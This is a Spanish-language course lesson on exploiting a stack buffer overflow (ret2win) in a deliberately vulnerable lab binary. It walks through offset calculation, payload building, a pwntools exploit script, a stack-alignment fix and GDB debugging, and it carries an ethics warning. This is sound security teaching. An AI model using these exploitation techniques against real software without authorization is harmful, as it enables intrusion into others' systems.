

Clase 120 — Buffer overflow en stack: explotación práctica

Parte: 5 — Explotación de sistemas y binarios · Fuente: Erickson, Hacking 2e · docs de pwntools 🕒

Duración estimada: 140 min · Nivel: Intermedio

Objetivo

Convertir la teoría de la clase 119 en un exploit real y reproducible. Construirás el payload que desborda el buffer, sobrescribe la dirección de retorno y redirige la ejecución a una función objetivo (`win()`), primero a mano con `python -c` y luego de forma limpia con **pwntools**. Es tu primer control efectivo de `RIP`.

⚠️ **Ética:** el binario es tuyo, compilado en tu VM. No apliques esto a software de terceros sin autorización explícita por escrito.

Resultados de aprendizaje

Al finalizar, el alumno podrá:

- 1. **Calcular** el offset al retorno y **construir** el payload de relleno + dirección.
- 2. **Redirigir** la ejecución a una función objetivo controlando `RIP`.
- 3. **Automatizar** el exploit con pwntools (`process` , `p64` , `sendline` , `recv`).
- 4. **Gestionar** la alineación del stack a 16 bytes cuando el retorno lo exige.
- 5. **Depurar** un exploit que falla usando GDB acoplado.

Temas

#	Tema	Por qué importa
1	Recolección del offset	Base del payload
2	Estructura del payload	padding + dirección de retorno
3	p64/p32 y endianness	Empaquetar direcciones correctamente
4	ret2win	Saltar a una función existente
5	Alineación a 16 bytes (movaps)	Evita crashes en libc/x64
6	pwntools básico	Automatización robusta del ataque
7	Depuración con gdb.attach	Ver por qué falla
8	De local a remoto	<code>remote()</code> para retos en red

Definiciones y características

- **Payload:** secuencia de bytes que envías al programa para explotarlo. *Clave:* aquí es `b"A"*offset + p64(dir_objetivo)`.
- **ret2win:** técnica didáctica que salta a una función ganadora ya presente en el binario. *Clave:* no necesita shellcode ni bypass de NX.
- **p64 / p32 :** funciones de pwntools que empaquetan un entero en little-endian. *Clave:* evitan errores manuales de orden de bytes.
- **Alineación de stack:** System V exige `RSP` múltiplo de 16 antes de un `call`. *Clave:* si falla, instrucciones SSE (`movaps`) en libc provocan segfault; se corrige añadiendo un gadget `ret`.
- **pwntools:** framework Python para escribir exploits. *Clave:* `context.binary`, `process`, `recvuntil`, `sendline`, `p64`, `cyclic`.

Herramientas y preparación

```
pip install pwntools
python3 -c "import pwn; print(pwn.__version__)"
```

Usa el `vuln` de las clases 118-119 (compilado con `-fno-stack-protector -no-pie`).

Laboratorio guiado

Entorno propio.

1. Confirma el offset con pwndbg (`cyclic 200` → `cyclic -l <valor>`). Supón que es **72**.

2. Averigua la dirección de `win`: `objdump -d vuln | grep '<win>:'` o en pwntools `elf.symbols.win`.

3. Prueba el payload manual:

```
bash python3 -c 'import sys;sys.stdout.buffer.write(b"A"*72 + (0x401156).to_bytes(8,"little"))' | ./vuln
```

4. Escríbelo en pwntools (`exploit.py`):

```
python from pwn import * context.binary = elf = ELF("./vuln") p = process("./vuln") payload = b"A"*72 + p64(elf.symbols.win) p.sendline(payload)
print(p.recvall(timeout=1).decode(errors="ignore"))
```

5. Si crashea justo al entrar en `win`, es alineación: inserta un gadget `ret` antes de la dirección:

```
python ret = next(elf.search(asm("ret"), executable=True)) payload = b"A"*72 + p64(ret) + p64(elf.symbols.win)
```

6. Depura acoplando GDB: cambia `process( ... )` por `gdb.debug("./vuln", "break win")` y observa `RIP`.

7. Cuando funcione, verás el mensaje de `win()` (control de flujo logrado).

Ejercicios

1. Reproduce el exploit contra el mismo binario recompilado en 32 bits (`-m32` , usa `p32`).
2. Cambia el nombre/tamaño del buffer, recalcula el offset y adapta el script.
3. Añade manejo con `recvuntil` para sincronizar con un prompt del programa.
4. Modifica el binario para que `win` reciba un argumento y pásalo vía registro/stack.
5. Explica por qué el gadget `ret` corrige la alineación.
6. Convierte el exploit local a `remote("127.0.0.1", 1337)` sirviendo el binario con `socat` .

Reto verificable

Entrega `exploit.py` que, contra tu binario `vuln` , imprima la salida de `win()` de forma fiable en al menos 5 ejecuciones seguidas.

Criterio de aceptación: `for i in $(seq 5); do python3 exploit.py; done` muestra el mensaje de `win()` las 5 veces, sin segfaults.

Errores comunes

Síntoma / mensaje	Causa y cómo arreglar
Segfault dentro de <code>win</code> (<code>movaps</code>)	Stack desalineado; añade un gadget <code>ret</code> extra
<code>RIP = 0x4141414141414141</code>	Offset correcto pero dirección mal empaquetada; usa <code>p64</code>
RIP casi bien pero desplazado	Offset off-by-8; recuenta saved RBP
Funciona en GDB pero no fuera	Diferencias de entorno/ASLR; usa <code>env={}</code> y desactiva ASLR
<code>EOFError</code> en pwntools	El proceso murió antes; revisa timing con <code>recvuntil</code>

Preguntas frecuentes

 **¿Por qué funciona en GDB y no en la terminal?** GDB desactiva ASLR y añade variables de entorno que desplazan el stack. Iguala el entorno o usa direcciones estables (`-no-pie`).

 **¿Necesito shellcode aquí?** No: `ret2win` reutiliza una función existente. El shellcode llega en la clase 121.

 **¿Y si el binario tiene canary?** El payload lineal se detecta; hay que filtrarlo primero (clases 122-123).

Referencias

- pwntools docs — <https://docs.pwntools.com/>
- Erickson, J. *Hacking: The Art of Exploitation*, 2e. No Starch Press.
- Nightmare — `ret2win` writeups — <https://guyinatuxedo.github.io/>
- ROP Emporium (`ret2win`) — <https://ropemporium.com/challenge/ret2win.html>

Material descargable

-  [Guía en PDF](#) — versión imprimible de esta clase.
-  [Presentación \(PPTX\)](#) — deck para proyectar en clase.

Siguiente clase

Clase 121 - Escritura de shellcode